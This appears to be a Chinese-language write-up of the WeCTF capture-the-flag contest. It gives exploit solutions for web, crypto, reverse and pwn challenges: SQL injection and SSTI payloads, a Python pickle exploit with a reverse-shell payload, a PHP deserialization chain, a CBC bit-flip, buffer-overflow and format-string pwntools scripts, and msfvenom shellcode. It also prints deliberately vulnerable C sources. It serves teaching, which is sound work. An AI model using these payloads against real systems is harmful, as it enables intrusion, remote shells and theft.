Welcome to the first of WeCTF
Web
Web题目中至少2道题考代码审计。
web签到
http://119.23.236.68:63006/web1/index.php
查看源代码
wectf{the_iiiis_flag}
easy01
http://119.23.236.68:63006/easy/index.php
源码提示 get name == wectf
payload : http://119.23.236.68:63006/easy/index.php?name=wectf
wectf{1e2e3c4a5d6c123d456eaec456789f}
easy02
http://119.23.236.68:63006/web2/index.php
XFF 伪造 127.0.0.1
wectf{X_FORWARDED_FOR_is}
easy03
http://119.23.236.68:63006/web4/index.php
抓包,header
wectf{header_must_be_win}
medium01
http://119.23.236.68:63006/web3/index.php
<?php
highlight_file("source.php");
if(isset($_GET['a']))
{
$a = trim($_GET['a']);
if($a>999999 and strlen($a)<5)
{
echo "wectf{xxxxxxxxxxxxxxx}";
}
}
?>
payload : http://119.23.236.68:63006/web3/index.php?a=1e9
wectf{eeeeeeeee_is_low}
medium02
http://119.23.236.68:63006/web5/index.php
<?php
error_reporting(0);
highlight_file("source.php");
$name = $_COOKIE['pass'];
if($name == "password")
{
extract($_POST);
if($name == "isnotonly")
{
echo "wectf{xxxxxxxxxxxxxx}";
}
}
?>
payload:
curl http://119.23.236.68:63006/web5/index.php --cookie "pass=password" --data "name=isnotonly"
wectf{flag_1s_here}
medium03
http://119.23.236.68:63006/medium/index.php
<?php
highlight_file('source.php');
error_reporting(0);
$flag = 'wectf{xxxxxxxxxxxxxxxx}';
if (isset($_GET['name']) and isset($_GET['username']) and isset($_POST['password'])) {
if ($_GET['username'] == $_POST['password']){
die('exit');
}
else if(sha1($_GET['username']) === sha1($_POST['password']))
{
$name = urldecode($_GET['name']);
if ($name === 'wectf!@#$wectf')
{
die('Flag: '.$flag);
}
}
}
?>

wectf{e2e123acef456789d132f456c13}
high01
http://119.23.236.68:63006/high/index.php
import requests
import base64
import string
s = requests.session()
url = "http://119.23.236.68:63006/high/index.php"
header = {'User-Agent': 'Kylinbrowser',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://119.23.236.68:63006/high/index.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '29',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}
bdata = {
'username':"admin",
'password':"admin' or '2'>'1"
}
base = s.post(url,headers=header,data=bdata).text
flag = ""
# while True:
for i in "{}0123456789abcdefghijklmnopqrstuvwxyz":
try:
data = {
'username':"admin",
'password':"admin' or '2'>'1' union select 1,'ad','%s' order by 3,'1" % i
}
html = s.post(url,headers=header,data=data).text
print(i,html)
except:
pass
wectf{this_15s_high_inject}
high02
http://119.23.236.68:63007/
提示: flag.txt 在根目录下,直接读就好
payload:
http://119.23.236.68:63007/?name={{().class.bases[0].subclasses()[177].init.globals.builtins%27open%27.read()}}
wectf{what_a_easy_ssti}
high03
http://119.23.236.68:63008/
提示: flag.txt 在根目录下
给源码:
app.py
import requests
import pickle
import os
class exp(object):
def __reduce__(self):
payload = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",6300));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system,(payload,))
e = exp()
s = pickle.dumps(e)
print(s)
data = {
'a':s
}
html = requests.post("http://119.23.236.68:63008/",data=data).content
print(html)
wectf{just_fanxuliehua_python}
crazy01
http://119.23.236.68:63006/crazy01/index.php
题目描述:就是一个php反序列化
##exp.php
<?php
class O00O
{
public $value;
public function __construct()
{
$this->value = new Call();
}
public function __destruct()
{
$this->value->func1();
}
}
class Call
{
public $value;
public function __construct()
{
$this->value = new Func_t();
}
public function func1()
{
$this->value->func2();
}
}
class Func_t
{
public $value;
public function __construct()
{
$this->value = new Func_m();
}
public function __call($func2,$a)
{
$func = $this->value;
$func();
}
}
class Func_m
{
public $value1;
public $value2;
public function __construct()
{
$this->value1 = new Ina();
}
public function __invoke()
{
$this->value2 = "flag".$this->value1;
}
}
class Ina
{
public $value;
public function __construct()
{
$this->value = new GetFlag();
}
public function __toString()
{
$this->value->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag{xxxxxxxxxxxxxxxxx}";
}
}
$b = new O00O;
echo urlencode(serialize($b))."<br />";
生成payload:
O%3A4%3A%22O00O%22%3A1%3A%7Bs%3A5%3A%22value%22%3BO%3A4%3A%22Call%22%3A1%3A%7Bs%3A5%3A%22value%22%3BO%3A6%3A%22Func_t%22%3A1%3A%7Bs%3A5%3A%22value%22%3BO%3A6%3A%22Func_m%22%3A2%3A%7Bs%3A6%3A%22value1%22%3BO%3A3%3A%22Ina%22%3A1%3A%7Bs%3A5%3A%22value%22%3BO%3A7%3A%22GetFlag%22%3A0%3A%7B%7D%7Ds%3A6%3A%22value2%22%3BN%3B%7D%7D%7D%7D

flag{unserialize_php_O00O}
Misc
ROT13(签到题)
rot13 编码,我相信你能找到解码方式
flag = "xxxxxxxxxxxxxxxx"
print flag.encode('rot13')
#jrpgs{E0g13_fb_rnfl_jr1p0zr_gb_jrpgs}
flag:wectf{R0t13_so_easy_we1c0me_to_wectf}
贝斯家族
你听说过大名鼎鼎的贝斯(base)家族吗?
4D515A464D32544549354E444F574C4B4B4A35465556525950424D57594F4B474A565744514D535A4C415944323D3D3D
源码:
flag = '××××××××××××××'
print base64.b16encode(base64.b32encode(base64.b64encode(flag)))
#4D515A464D32544549354E444F574C4B4B4A35465556525950424D57594F4B474A565744514D535A4C415944323D3D3D
flag : wectf{b4se_1b_E2_6a}
ASCII码
听说过 ASCII 码吗,试试解码这个,仔细看 ASCII 码表
77656374667b315f346d5f66346b655f08080808085f666c34677d
源码:
enc = 'wectf{1_4m_f4ke_\b\b\b\b\bfl4g}'.encode('hex')
print enc
#77656374667b315f346d5f66346b655f08080808085f666c34677d
其实这个就是玩了一点花样,0x08 是退格,5个退格就把 f4ke_ 删掉,就是真的 flag
flag : wectf{1_4m_fl4g}
babypcap
我通过 nc 把 flag 从 192.168.229.1 发送到 192.168.229.128
进去跟踪 tcp 流就能看到flag

flag : wectf{4maz1n9_pcap}
.........
这是个啥东西
你知道 png 文的文格式吗?
WECTF.png.zip
flag:wectf{pn9_h4s_n0_he4d}
这个题目我去掉了 png 的文头
89 50 4E 47 0D 0A 1A 0A
https://ctf-wiki.github.io/ctf-wiki/misc/picture/png-zh/)
whoami
whoami.py:
tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
tmp += chr((ord(i) * 2 ^ 0x20))
if tmp == enc:
print("you get it, but......")
else:
print("error!")
tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
tmp += chr((ord(i) * 2 ^ 0x20))
if tmp == enc:
print("you get it, but......")
else:
print("error!")
tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
tmp += chr((ord(i) * 2 ^ 0x20))
if tmp == enc:
print("you get it, but......")
else:
print("error!")
tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
tmp += chr((ord(i) * 2 ^ 0x20))
if tmp == enc:
print("you get it, but......")
else:
print("error!")
tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
tmp += chr((ord(i) * 2 ^ 0x20))
if tmp == enc:
print("you get it, but......")
else:
print("error!")
tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
tmp += chr((ord(i) * 2 ^ 0x20))
if tmp == enc:
print("you get it, but......")
else:
print("error!")
足够长
然后用 python3.6 编译成 pyc
whoami.pyc
whoami.cpython-36.pyc
解出这个并没有什么用,因为 flag 不在代码里面
用这个 https://github.com/AngelKitty/stegosaurus 隐写
python3.6 stegosaurus.py whoami.cpython-36.pyc -s --payload "you get it wectf{stegosaurus_g00d}"
解出 flag:
python3.6 stegosaurus.py -x whoami.cpython-36.pyc
钛合金狗眼
拿到图片首先binwalk跑一下,发现图片之后,一句foremost直接分离

放大第二张图片之后发现整齐的噪点,可以推测通道里面藏着信息
百度搜索关键词: CTF 两张图片,得到某次比赛的wp
http://blog.sina.com.cn/s/blog_9cd8465f0102v6ok.html
按照网上的答案,写脚本进行比较:

发现与网上的题目差不多,比赛那题是red通道隐藏信息,这题是blue通道隐藏信息。
再继续写代码把blue通道里面隐藏的信息提取出来

得到一串长度为2809的二进制数样子的字符串,即5353
接下来创建一个5353像素的图片, 将1和0转化为黑色像素点和白色像素点


得到一张二维码图片,但是并不能扫出来
再另外建立一张同样大小的图片,然后将该图片行列转置,保存在新图中


用手机扫描转置后的图片,得到flag
flag{8fgd2svxc6zbikyt4}
SKsteg
encode.py:
from PIL import Image
def banner():
bnr = '''
:'######::'##:::'##::'######::'########:'########::'######:::
'##... ##: ##::'##::'##... ##:... ##..:: ##.....::'##... ##::
##:::..:: ##:'##::: ##:::..::::: ##:::: ##::::::: ##:::..:::
. ######:: #####::::. ######::::: ##:::: ######::: ##::'####:
:..... ##: ##. ##::::..... ##:::: ##:::: ##...:::: ##::: ##::
'##::: ##: ##:. ##::'##::: ##:::: ##:::: ##::::::: ##::: ##::
. ######:: ##::. ##:. ######::::: ##:::: ########:. ######:::
:......:::..::::..:::......::::::..:::::........:::......::::
author:We_ax--Scriptkiddies
'''
print(bnr)
def str_convert_bin(s):
result = ''
for c in s:
b = bin(ord(c)).replace('0b', '')
b = '0' * (7 - len(b)) + b
result = result + b
return result
def insert(im, bin1):
size = im.size
length = len(bin1)
print(length)
k = 0
flag = 0
for i in range(1, size[0]):
for j in range(size[1]):
idx = (i * j) % 3
pixel = bin(im.getpixel((i, j))[idx]).replace('0b', '')
if idx == 0:
if pixel[-1:] < bin1[k]:
im.putpixel((i, j), (im.getpixel(
(i, j))[0] + 1, im.getpixel(
(i, j))[1], im.getpixel((i, j))[2]))
if pixel[-1:] > bin1[k]:
im.putpixel((i, j), (im.getpixel(
(i, j))[0] - 1, im.getpixel(
(i, j))[1], im.getpixel((i, j))[2]))
k = k + 1
if k == length:
flag = 1
break
elif idx == 1:
if pixel[-1:] < bin1[k]:
im.putpixel((i, j), (im.getpixel(
(i, j))[0], im.getpixel(
(i, j))[1] + 1, im.getpixel((i, j))[2]))
if pixel[-1:] > bin1[k]:
im.putpixel((i, j), (im.getpixel(
(i, j))[0], im.getpixel(
(i, j))[1] - 1, im.getpixel((i, j))[2]))
k = k + 1
if k == length:
flag = 1
break
elif idx == 2:
if pixel[-1:] < bin1[k]:
im.putpixel((i, j), (im.getpixel(
(i, j))[0], im.getpixel((i, j))[1], im.getpixel(
(i, j))[2] + 1))
if pixel[-1:] > bin1[k]:
im.putpixel((i, j), (im.getpixel(
(i, j))[0], im.getpixel((i, j))[1], im.getpixel(
(i, j))[2] - 1))
k = k + 1
if k == length:
flag = 1
break
if flag == 1:
break
print("over\n\n")
im.save("out.bmp")
def main():
banner()
test_str = input("flag : ")
result = str_convert_bin(test_str)
im = Image.open("in.bmp")
insert(im, result)
if __name__ == '__main__':
main()
decode.py:
#-*- coding: utf-8 -*-
from PIL import Image
def bin_convert_str(b):
str=''
b1 = [b[i:i+7] for i in range(0, len(b), 7)]
for i in range(len(b1)):
b2 = chr(int(b1[i],2))
str = str+b2
return str
def extract(im,length):
size = im.size
k=0
result=''
flag=0
for i in range(1, size[0]):
for j in range(size[1]):
idx = (i * j) % 3
pixel_b=bin(im.getpixel((i,j))[idx]).replace('0b', '')
result=result+pixel_b[-1:]
k=k+1
if k==length:
flag=1
break
if flag==1:
break
print("提取完成,二进制字符串为:\n%s"%result)
str = bin_convert_str(result)
print("转换完成,结果为:\n%s"%str)
im = Image.open('out.bmp')
extract(im, 200)
这个题目我就是魔改了传统的 lsb 隐写
我把 flag 转成 bin
第 k 个 bit 放在第 i * j 个像素点的 r 通道,第 k + 1 个 bit 放在第 i * j +1 个像素点 g 通道 ,第 k + 2 个 bit 放在第 i * j + 2个像素点 b 通道 ,一个像素点我只放一个 bit 而且 下一个像素点写入通道和前一个不一样, 这样 Stegsolve 或者现有的隐写工具 也没办法解出来,当时我还想打乱顺序 不是 RGB 顺序写入,而是随机写入 保存随机数,让他们根据随机数去读取对应位置的数据,想了想有点过分,还是算了
这个题要是想解,老老实实写脚本,写完就了解 lsb 是个什么东西了
原本想用 c 出,写成逆向题的,但是想了想还是算了,出成逆向有点难了
flag:wectf{lsb_so_easy_hiahiahia}
Crypto
签到
为了证明你的存在,Q群:930446586 flag在公告
wectf{this_is_format_of_flag}
guess
密文:U2FsdGVkX19x8Dq5FttochQw/lMz8C5gFD6PQjKZvtxBjb0Sab8cIqXqBpMne5vx
明文:wectf{wectf_weCTF_WeCTF}
解:
这个题不给加密类型,base64 解码后可以看见 Salted ,判断是 AES
无秘钥解出 flag
解码网址 http://tools.jb51.net/password/aes_encode
cxk=xcp
给源文:
lowercase = "abcdefghijklnmopqrstuvqxyz"
uppercase = "ABCDEFGHIJKLMNOPQRSTUVQXYZ"
digest = "0123456789"
plaintext = "what are you doing? you can join crypt group. flag is wectf{xxxxxxxxxxxxx}"
ciphertext = ""
for i in range(len(plaintext)):
if plaintext[i] in lowercase:
enc = ord('a') + (ord('z') - ord(plaintext[i]))%26
elif plaintext[i] in uppercase:
enc = ord('A') + (ord('Z') - ord(plaintext[i]))%26
elif plaintext[i] in digest:
enc = ord('0') + (ord('9') - ord(plaintext[i]))%10
else:
enc = ord(plaintext[i])
ciphertext += chr(enc)
print(ciphertext)
## ciphertext : wszg ziv blf wlrmt? blf xzm qlrm xibkg tilfk. uozt rh wvxgu{hzev_h5ev_nv}
加密即解密,将ciphertext代入plaintext再运行一次就得。
wectf{save_s4ve_me}
老套的md5
小明又泼墨水了,墨水这次泼到 wectf 的flag上面了,明文中有三个字符被挡住了,巧的很,明文的md5值咱们知道,而且他没有被泼墨水,简单了把
明文:wectf{ab?def?hijklm?opq}
密文:84e7ab5946fb4c5d94ed891c42d5fac6
import string
import hashlib
for i in string.ascii_lowercase:
for j in string.ascii_lowercase:
for k in string.ascii_lowercase:
a = "wectf{ab"+i+"def"+j+"hijklm"+k+"opq}"
c = hashlib.md5(a)
b = c.hexdigest()
if b == "84e7ab5946fb4c5d94ed891c42d5fac6":
print(a)
wectf{abzdefhhijklmlopq}
babyRSA
Rsa 是不可攻破的吗?
from Crypto.Util.number import bytes_to_long
flag = raw_input("flag : ")
tmp = bytes_to_long(flag)
n = 47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659
e = 3
c = pow(tmp, e, n)
if c == 1495572858946434740124351882099461657145759077753704214627609673423129831012766355967962871807110976347627163520955975614562262871102943487213224386685367602432775269:
print "you get it!"
else:
print "Too Young, Too simple!"
这个题目考的是最简单的 Rsa 小指数攻击
flag : wectf{rs4_e=3_n0T_s4fE}
exp:
from Crypto.Util.number import *
import primefac
import gmpy2
def modinv(a,n):
return primefac.modinv(a,n) % n
n=47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659
e=3
c=1495572858946434740124351882099461657145759077753704214627609673423129831012766355967962871807110976347627163520955975614562262871102943487213224386685367602432775269
i=0
while 1:
if(gmpy2.iroot(c+i*n, 3)[1]==1):
print long_to_bytes(gmpy2.iroot(c+i*n, 3)[0])
break
i=i+1
脑筋急转弯
import random
import time
import os
import sys
from Crypto.Cipher import DES
class Unbuffered(object):
def __init__(self, stream):
self.stream = stream
def write(self, data):
self.stream.write(data)
self.stream.flush()
def __getattr__(self, attr):
return getattr(self.stream, attr)
#取消缓冲
sys.stdout = Unbuffered(sys.stdout)
#设定闹铃,5分钟进程自杀
import signal
signal.alarm(300)
flag=r"wectf{baby_crypt0_DES}"
hint = '''
Welcome to my world, where you can enter a string of characters to get a bunch of encrypted data, the things you want are in this string of data.
Encryption method: DES("your input"+flag)
'''
print(hint)
key = os.urandom(8)
def des_cbc(key,m):
handler=DES.new(key,DES.MODE_ECB)
return handler.encrypt(m).encode("hex")
while True:
input = raw_input(">> ")
token = input + flag
tmp = len(token)/16
token = token.ljust((tmp+1)*16,"0")
checksum=des_cbc(key,token)
print("checksum: "+checksum)
##exp.py
import socket
import string
import time
def Checker(s):
flag = ""
strings = "-_{}%/+=:" + string.ascii_letters + string.digits
for i in range(47,-1,-1):
error = 1
s.send("@"*i + "\n")
temp = s.recv(2048)
if "checksum" not in temp:
temp = s.recv(1024)
for k in strings:
s.send("@"*i + flag + k + "\n")
value = s.recv(1024)[:106]
if "checksum" not in value:
value = s.recv(1024)[:106]
if value == temp[:106]:
flag += k
print(flag)
error = 0
break
if error == 1:
flag += "@"
print(flag)
host = "39.98.246.99"
port = 11112
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
banner = sock.recv(3048)
print(banner)
flagvalue = sock.recv(2048)
Checker(sock)
wectf{baby_crypt0_DES}
attack CBC
class Unbuffered(object):
def __init__(self, stream):
self.stream = stream
def write(self, data):
self.stream.write(data)
self.stream.flush()
def __getattr__(self, attr):
return getattr(self.stream, attr)
import sys
sys.stdout = Unbuffered(sys.stdout)
import signal
signal.alarm(600)
import random
import time
flag=open("flag","r").read()
from Crypto.Cipher import AES
import os
def aes_cbc(key,iv,m):
handler=AES.new(key,AES.MODE_CBC,iv)
return handler.encrypt(m).encode("hex")
def aes_cbc_dec(key,iv,c):
handler=AES.new(key,AES.MODE_CBC,iv)
return handler.decrypt(c.decode("hex"))
key=os.urandom(16)
iv=os.urandom(16)
session=os.urandom(8)
token="session="+session.encode("hex")+";admin=0"
checksum=aes_cbc(key,iv,token)
print token+";checksum="+checksum
for i in range(10):
token_rcv=raw_input("token:")
if token_rcv.split("admin=")[1][0]=='1' and token_rcv.split("session=")[1][0:16].decode("hex")==session:
c_rcv=token_rcv.split("checksum=")[1].strip()
m_rcv=aes_cbc_dec(key,iv,c_rcv)
print m_rcv
if m_rcv.split("admin=")[1][0]=='1':
print flag
CBC 加密就是把上一个块的密文当成下一个块的 IV

代码中
if m_rcv.split("admin=")[1][0]=='1':
print flag
就是检查了传回来的 token 是不 admin=1,等于 1 的话就印出 flag
不会检查其他块是否能解密,这样我们修改上一个块的密文中 admin=0 的 0 的对应异或的那个字符把它 异或上 0 再异或上 1 就能达到修改 admin=1 的目的(注意这里的 0 和 1 是 char 不是 int)
运行的时候是这样的
session=a84b3aee320ae1e2;admin=0;checksum=551d730d1e45de5033aecce896e874b1ab77327d9bcee3d3906ff29d95e5e0f7
token:
session=a84b3aee
320ae1e2;admin=0
checksum:
551d730d1e45de5033aecce896e874b1
ab77327d9bcee3d3906ff29d95e5e0f7
0 的对应字符是 e
checksum 上就是
b1
f7
把 hex(0xb1 ^ ord('0') ^ ord('1'))
等于 0xb0
用 b0 代替 b1 构造 payload:
session=a84b3aee320ae1e2;admin=1;checksum=551d730d1e45de5033aecce896e874b0ab77327d9bcee3d3906ff29d95e5e0f7
session=a84b3aee320ae1e2;admin=0;checksum=551d730d1e45de5033aecce896e874b1ab77327d9bcee3d3906ff29d95e5e0f7
token:session=a84b3aee320ae1e2;admin=1;checksum=551d730d1e45de5033aecce896e874b0ab77327d9bcee3d3906ff29d95e5e0f7
�C�(�u'����ԽM320ae1e2;admin=1
wectf{attack_AESCBC_by_Bit-flip}
可以看到前面的块已经解不出原文了,因为我们修改了它的密文,但是我们只 check admin 是不是等于 1
这个攻击的名字叫:比特翻转
exp:
from zio import *
host = ''
port =
def cbc_bit_attack_mul(c,m,position,target):
l = len(position)
r=c
for i in range(l):
change=position[i]-16
tmp=chr(ord(m[position[i]])^ord(target[i])^ord(c[change]))
r=r[0:change]+tmp+r[change+1:]
return r
target=(host ,port)
io=zio(target)
io.read_until("session=")
session=io.read(16)
io.read_until("checksum=")
c=io.readline().strip()
t1="session="+session+";admin=0"
newchecksum=cbc_bit_attack_mul(c.decode("hex"),t1,[16+16-1],['1'])
io.writeline("session="+session+";admin=1;checksum="+newchecksum.encode("hex"))
io.interact()
Reverse
xor
linux for循环 xor
没什么好说的,循环异或 1
flag:wectf{x0r_s0_e4sy}
cmp
windows系统
flag:flag{412accbb6e9ffbeef39e317d0862b9ab}
思路:flag分成几段比较


assembly
题目
push rbp
mov rbp, rsp
sub rsp, 10h
mov [rbp+var_4], 0
jmp short s1
s2:
mov eax, [rbp+var_4]
cdqe
movzx eax, s[rax]
add eax, 14h
mov edx, eax
mov eax, [rbp+var_4]
cdqe
mov s[rax], dl
add [rbp+var_4], 1
s1:
cmp [rbp+var_4], 25h
jle short s2
mov esi, offset s
mov edi, offset format ; "%s"
mov eax, 0
call _printf
mov eax, 0
leave
retn
s的数据为:
52 58 4D 53 67 51 22 4F 1C 52 23 4E 52 1C 50 4D
1F 52 1D 4F 23 23 4F 22 50 4F 4E 4F 23 1D 4D 20
21 1c 4d 21 1e 69
flag:flag{e6c0f7bf0da3f1c77c6dcbc71a450a52}
思路:题目直接给出一段汇编,通过阅读可以发现,s的数据会经过加法然后输出。可以还原代码
flag = [0x52,0x58,0x4D,0x53,0x67,0x51,0x22,0x4F,0x1C,0x52,0x23,0x4E,0x52,0x1C,0x50,0x4D,0x1F,0x52,0x1D,0x4F,0x23,0x23,0x4F,0x22,0x50,0x4F,0x4E,0x4F,0x23,0x1D,0x4D,0x20,0x21,0x1c,0x4d,0x21,0x1e,0x69]
flags = ""
for q in flag:
flags+= chr(q+20)
print flags
#flag{e6c0f7bf0da3f1c77c6dcbc71a450a52}
base64
linux系统
flag:flag{787912e6b3b4c32f651e6b914382e3a9}
思路:
base64加密或对比,进入base64函数后会经过一个循环改变初始table的值


king
linux系统
flag:wectf{2d6915e15c7bdffe2b470c1648a79717}
思路:
里边就是一个凯撒加密,移的位数为7


.........
网
.Net程序调试
先用de4dot清理程序
之后使用dnSpy在程序入口点下断点,单步运行就能在下面的变量框看见flag


wectf{54sa58A92w6sa26a5Ssa88x9aw8wa56xW}
19abe65fdc1875edabc521e215693edf.exe
sign
.Net程序
flag:wectf{welc0mE_To_Csharp}
思路:
直接调用标准aes加密,函数名字也已经给出。

可以直接网上解密得到flag


emmm
flag:flag{a7b8d813f9d9a9b9c9ee4}
思路:里边是MersenneTwister随机数生成算法,输入的字符串每一个都会被当做seed并生成对应的随机数,比较。

读取出数据,爆破即可。
en = [
0x9901A900,0x3BCDF063,
0xD641F85A,0x6E9ED707,
0xB24BCDFE,0xD641F85A,
0x17D5F1CD,0xBB75DDDA,
0xFBF3FF55,0x8B1C9608,
0xFBF3FF55,0x4D0C01AA,
0xACFCBBFE,0x9901A900,
0x165C8BCF,0x8B1C9608,
0x165C8BCF,0xD641F85A,
0x165C8BCF,0xBB75DDDA,
0x165C8BCF,0xAC1A7281,
0x165C8BCF,0x8432B35F,
0x8432B35F,0xD2B75BF5,
0x81b8cbbd]
flag = ""
for q in en:
for i in range(127):
temp = MT19937(i).extract_number()
if (temp==q):
flag += chr(i)
break
print flag

Pwn
BOF
变量覆盖
源码:
#include<stdio.h>
#include<stdlib.h>
void pwn(void){
system("sh");
}
int main()
{
char ipt[16];
int root = 0;
printf("Welcome to wectf!\n");
printf("Do you know BOF??\n");
printf(">");
scanf("%s", ipt);
if(root == 1){
printf("good job!");
pwn();
}
else{
printf("yeah! good bye!\n");
}
return 0;
}
编译:
gcc -fno-stack-protector BOF.c -o BOF
我关闭了栈保护,这个题有多解

ipt 和 root 相距 28
from pwn import *
host = ''
port = 0000
r = remote(host, port)
exp = 'k' * 28 + p64(1)
r.sendline(exp)
r.interactive()
nc(pwn签到)
// filename:1.c
#include <stdio.h>
#include <stdint.h>
const uint64_t a = 0x123456789abcdef0;
int main()
{
int i;
uint64_t c,total;
for (c=0, i=0, total=0; i++<5; )
{
scanf("%lu",&c);
total += c;
}
total == a?system("/bin/sh"):printf("try again.\n");
return 0;
}
//gcc ./1.c -o pwn1 && strip ./pwn1
pwn基本操作nc或者pwntools使用,基本逆向能力.
exp:
python -c "from pwn import *;p=remote('39.98.246.99',10040);p.sendline('{}\n'.format(0x123456789abcdef0/5));p.interactive()"
.........
Stack_balance
//filename: 2.c
#include <stdio.h>
#include <stdlib.h>
void input()
{
int a[100] = {0};
int i = 0;
for (;i<100;i++)
scanf("%d",&a[i]);
}
void check()
{
int b[100];
int c;
c = b[0]==1 && b[99] == 100;
c?system("/bin/sh"):printf("try again.\n");
}
int main()
{
input();
check();
return 0;
}
//gcc ./2.c -o pwn2 && strip ./pwn2
考察堆栈平衡定理
exp:
python -c "from pwn import *;p=remote('39.98.246.99',10037);p.sendline('\n'.join([str(x) for x in xrange(1,101)]));p.interactive()"
Login
//filename: 3.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
int verify(char * ps)
{
int i = 0;
srand(time(0));
for(;ps[i]&&i<15;i++)
if (ps[i] != (rand() % 86))
return 0;
return 1;
}
int login()
{
char username[16] = {0};
char password[16] = {0};
printf("what your name: \n");
read(0,username,15);
printf("Hello, %s",username);
read(0,password,15);
return verify(password);
}
int main()
{
int a,b;
setbuf(stdin,0);
setbuf(stdout,0);
if(login())
{
printf("login success!\nDo you find a number: \n");
a = b = rand();
scanf("%d", &a);
a==b?system("/bin/sh"):printf("wrong answer.\n");
}
else
{
printf("login fails\n");
}
return 0;
}
//gcc ./3.c -o pwn3
简单逻辑漏洞和scanf漏洞:
当password第一个字节为\x00时, for循环条判断不成立, 直接return.
scanf当格式化控制符为“%d”时,可用+-\特殊符号跳过输入且不改变原值.
exp:
from pwn import *
p = remote('39.98.246.99', 10036)
p.recvuntil("what your name: \n")
p.sendline('ads')
p.recvuntil("\n")
p.sendline('\x00')
p.recvuntil(": \n")
p.sendline('+')
p.interactive()
Shellcode
此题目需要使用32位编译,如果不能编译请安装运行库gcc-multilib
如果不能运行参考https://blog.csdn.net/kingroc/article/details/51143327
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
setbuf(stdin,0);
setbuf(stdout,0);
char shellcode[0x100] = {0};
void (*func)();
int i;
printf("Do you know shellcode?\ngive me your shellcode:\n");
read(0,shellcode,0x100);
for(i=0;i<0x100;i++)
{
char c = shellcode[i];
if(c>='0' && c<='9' || c>='A' && c<='Z' || c>='a' && c<='z')
continue;
else
return 1;
}
func = shellcode;
func();
return 0;
}
// gcc -m32 -z execstack ./4.c -o pwn4
特殊的shellcode,必须为可打印字符:
shellcode生成:
可使用msf
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax
也可使用github上项目:
https://github.com/ecx86/shellcode_encoder:
python -c "from pwn import *;p=remote('127.0.0.1',10001);p.recvuntil(':\n');p.sendline('PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI3ZTKV8J9V2RF2H6M3SLIJGSX6OD3SX30RH6ORBU92NMYZC62KX385P30C06OU2BIBNVOBS3XUP67V3MYM18MMPAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa');p.interactive()"
easystack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
void pwn_init()
{
setbuf(stdin,0);
setbuf(stdout,0);
}
void vuln()
{
char buf[10] = {0};
printf("What's your name?\n");
read(0,buf,0x100);
printf("Hello %s", buf);
}
int main()
{
pwn_init();
vuln();
return 0;
}
//gcc -m32 -fno-stack-protector 5.c -o pwn5
32位普通栈溢出,给不给libc看情况
fmt
格式化串盲打,不给bin文
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void main()
{
char buf[0x100];
while (1)
{
memset(buf,0,0x100);
read(0, buf, 0x100);
printf(buf);
fflush(stdout);
}
}
//gcc ./6.c -m32 -o fmt
首先确定偏移
from pwn import *
p = remote('127.0.0.1', 10001)
def leak(payload):
p.sendline(payload)
return p.recv()
auto = FmtStr(leak)
log.success(auto.offset)
# [*] Found format string offset: 7
然后通过格式化字符串漏洞leak出内存中的bin文,默认加载地址(no pie)32位0x8048000(64位0x400000).
from pwn import *
#context.log_level = 'debug'
p = remote('172.16.29.145', 10001)
#def leak(payload):
# p.sendline(payload)
# return p.recv()
#auto = FmtStr(leak)
#log.success(auto.offset)
def dump(addr):
payload = ""
for x in xrange(5):
try:
payload = "AAA%10$sBBBB"+p32(addr)
if '\x0a' in payload:
return '\xff'
p.send(payload)
data = p.recv(timeout=3)
if data:
start = data.find("AAA")+3
end = data.find("BBBB")
result = data[start:end]
if result == "":
return '\x00'
else:
return result
return '\xff'
except EOFError:
log.waring("excpet ", exec_info = sys.exc_info())
return '\xff'
def create():
base=0x8048000
leaked = ""
while len(leaked) < 8000:
address = base+len(leaked)
if len(leaked) == 0x74b:
sleep(1)
tmp = dump(address)
leaked += tmp
log.info(hexdump(leaked))
with open('elf','wb') as f:
f.write(leaked)
create()
对dump出的文简单分析恢复其main函数





确定到got起始地址为0x804a000
